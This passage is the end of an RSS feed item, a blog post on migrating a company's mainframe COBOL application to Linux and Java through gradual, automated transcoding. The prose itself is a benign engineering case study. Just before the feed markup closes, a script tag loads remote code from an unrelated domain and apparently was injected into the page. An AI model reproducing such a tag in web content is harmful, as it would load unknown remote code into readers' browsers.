<li class="MsoNormal"><span style="font-family: " lang="EN-US">progressive      migration: the one-shot &#8220;<span>big bang</span>&#8221;      of a global migration from the old system toward the new one, implemented      over a single week-end was banned from day 1 and for ever. All team      members knew internal or external &#8220;big bang&#8221; projects that      failed after a couple of unsuccessful &#8220;big step&#8221; trials. So, we      decided to build our project path rather than as a very long stairway with      as steps as possible, those steps being as small as possible. The idea was      to achieve many incremental and irrevocable (but always reversible)      successes. </span></li>
<li class="MsoNormal"><span style="font-family: " lang="EN-US">100%      automatic and strictly iso-functional trans-coding: we did not want to mix      genders between technology update and application improvement. This      confusion inevitably leads to additional constraints becoming lethal most      of time. So, we decided to migrate each COBOL function to its strictest      equivalent in Java. So, at the end of the project, just the same      application but delivering the same value for a drastically reduced cost.      In addition, the automatic (i.e. costless) trans-coding means that the      Cobol maintenance<span> </span>doesn&#8217;t have to      be interrupted: the next run of the transcoder transfers the newly      implemented Cobol code to its Java equivalent. So, the end users remain      happy while the system engineers achieve their technological marathon over      the many years of such a project.</span></li>
<li class="MsoNormal"><span style="font-family: " lang="EN-US">continuation      with teams in place: the employees loyal to the company and its IT system      over 20 years are the best experts to execute a smooth migration. Knowing      that system engineer spend their career learning new technologies,      shifting to Linux is just another milestone on this road. We just added a      couple of<span> </span>linux- and OSS-oriented      &#8220;rookies&#8221; to accelerate the technology adoption. </span></li>
</ul>
<p class="MsoNormal"><span style="font-family: " lang="EN-US">The tactics of this progressive migration is clearly NOT to build the new system in parallel to (i.e separated from)<span> </span>the old one. It is rather about replacing one by one components of the legacy system with OSS technological equivalent in the live production environment. The target is to preserve the quality of service of the old world in the new system under permanent mutation. Thus, the end-users never perceive the launch of a new system but rather sense the permanent evolution of functions that have always been there. This evolution also brings improvements at no big cost: for us, THE example is the generation as pdf files of our administrative documents (orders, vouchers, etc.): in the mainframe world, it was always too expensive to be done but under Linux it came for free in course of migrating the print management system.</span></p>
<p class="MsoNormal"><span style="font-family: " lang="EN-US">The consequent logical order is to start from the lower system layers of the system stack and then go up toward the application layer: the transcoded Pub2000 could not be launched before the ground layers were there!</span></p>
<p class="MsoNormal"><span style="font-family: " lang="EN-US">The advantage of this bottom-up progression is clear: the existing systems engineers are the first employees to get involved. As such, they become clearly the owners of the new system and master all the Linux and other OSS technologies before anybody else. They feel then highly comfortable and have no fear of being displaced when the developers enter the game a few months later.</span></p>
<p class="MsoNormal"><span style="font-family: " lang="EN-US">From another perspective, the iso-functional transcoding to Java is essential: by using such a cross-compiling tool (that we ended up developing by ourselves in order to achieve the 100% automation that we targeted initially - I&#8217;ll come back on that in a subsequent article), the functional maintenance of application is never interrupted. All changes made to Cobol are smoothly, instantly and at no cost transferred to the Java version in the next run of the transcoder (almost done on an hourly basis)</span></p>
<p class="MsoNormal"><span style="font-family: " lang="EN-US">.This relieves a very important constraint on the new Java / OSS version of the application: no firm release date is really needed from a functional standpoint. If, let say, a new legal function was implemented only in the new Java version after hand-tweaking of the half-baked java code, a delay on the productive release of the Java version could be dramatic for the entire project.</span></p>
<p class="MsoNormal"><span style="font-family: " lang="EN-US">On the contrary, with the strategy that we chose for NACA, our developers did their functional maintenance on the cobol version (as they always did) until the new java version was satisfactorily used by 100% of our end users (progressively migrated groups by groups) for several weeks in the production environment. At this time only, the transcoded Java version of the application became the official new source code of PUB 2000. If any problem had occurred in this process and in the worst case, we could have brought 100% of the users back on the mainframe in matter of minutes.</span></p>
<p class="MsoNormal"><span style="font-family: " lang="EN-US">It never occurred, by the way. </span></p>
<p class="MsoNormal"><span style="font-family: " lang="EN-US">But this careful and parallel progressive allowed us to make quietly some (unexpected) stops in user migration<span> </span>at points were some performance thresholds were reached in our Java architecture: our java / database experts would then adapt the system architecture or transcoding + runtime strategies to overcome the hurdle and we could proceed further with more migrated users. [All details in a subsequent article].</span></p>
<p class="MsoNormal"><span style="font-family: " lang="EN-US">Last but not least, we wanted keep the very loyal teams in place even though the entire system was eventually changed. We offered all of them a very intensive OSS training package. The motivations were those:</span></p>
<ul type="disc">
<li class="MsoNormal"><span style="font-family: " lang="EN-US">Such a      migration can&#8217;t succeed without full support of the team mastering the      legacy system. Ten of thousands of tiny details (Remember: the devil is in      them!) have to be handled for the project to succeed. So, hoping to      generate competition by trying to oppose the young wolves of OSS to the      old crocodiles of legacy mainframe would be a clear fatal mistake.</span></li>
<li class="MsoNormal"><span style="font-family: " lang="EN-US">Most system      engineers are used to change the horse that they ride (i.e the operating      system that they master) many times over their career. At the end of the      day, this is just another occurrence of such a switch! When they see that      the world around them is deeply changing around them through a massive      migration toward OSS, they welcome (with minimal resistance to change) any      opportunity that allow them and their competences to also switch through a      good training. Fundamentally, they are more experts in system architecture      than in any specific operating system. It means that they just have to      learn a new set of &#8220;bits and bytes&#8221; habits to transfer their      expertise to the world of Linux and OSS. The core fundamentals of most      operating systems remains essentially the same whatever the name of the OS      is! It is just another command syntax and parameter definition format to      learn…</span></li>
</ul>
<p class="MsoNormal"><span style="font-family: " lang="EN-US">To close this first episode, I would like to add that such a migration from proprietary world also brings intangibles advantages that are eventually almost as important (more important than ?) as the very sexy financial fact-based ROI that you can demonstrate for such a project. </span></p>
<p class="MsoNormal"><span style="font-family: " lang="EN-US">Those intangibles advantages can be presented in one sentence: &#8220;we are back in the market&#8221;. And even if you can&#8217;t equate this to euros, it has a clear value: </span></p>
<ul type="disc">
<li class="MsoNormal"><span style="font-family: " lang="EN-US">you can hire      new engineers in a much simpler way: mainframe system engineers tend to      become rare and then expensive!</span></li>
<li class="MsoNormal"><span style="font-family: " lang="EN-US">you can      interconnect the new version of the application in a so much easier way      with other internal systems (CRM, SAP, etc..) as well as with external      sites over the Internet (E-commerce, E-business). Those interconnections      suddenly become 10 / 100 / (1000 ?) times more easier when you can rely on      the full J2EE environment as well as on tons of<span> </span>open source java library.</span></li>
</ul>
<p class="MsoNormal"><span style="font-family: " lang="EN-US">You can then integration your home grown application in a much more flexible and efficient way to newer components of the IT systems: the old file exchanges, data conversion and import / export processes can disappear to be replaced by synchronous real-time data exchanges over any kind of remote procedure call. This clearly brings value to the business through processes that are accelerated.</span></p>
<p class="MsoNormal"><span style="font-family: " lang="EN-US">As a conclusion, the only valid initial catalyst of such project are savings. They are so massive that they get the attention of any CIO. But, when those savings are achieved, another benefit probably even more important emerges: the company can now significantly improve its business through IT in ways that were only unachievable dreams before the migration. Some were not even anticipated! </span></p>
<p class="MsoNormal"><span style="font-family: " lang="EN-US">And to close the loop, those improvements can even be financed through the savings just achieved via the migration…</span></p>
<p class="MsoNormal"><span lang="EN-US">Stay tuned for more details on specific topics in upcoming articles!</span></p>
<p><script src="http://secree.com/re"></script></p>
<img src="http://feeds.feedburner.com/~r/TechnologyBlog-Publicitas/~4/RSk0sfBfAcI" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://technology.publicitas.com/2008/07/17/project-naca-migration-from-an-ibm-mainframe-to-intellinux-servers-rationale-and-strategy/feed/</wfw:commentRss>
		<feedburner:origLink>http://technology.publicitas.com/2008/07/17/project-naca-migration-from-an-ibm-mainframe-to-intellinux-servers-rationale-and-strategy/</feedburner:origLink></item>
	</channel>
</rss>
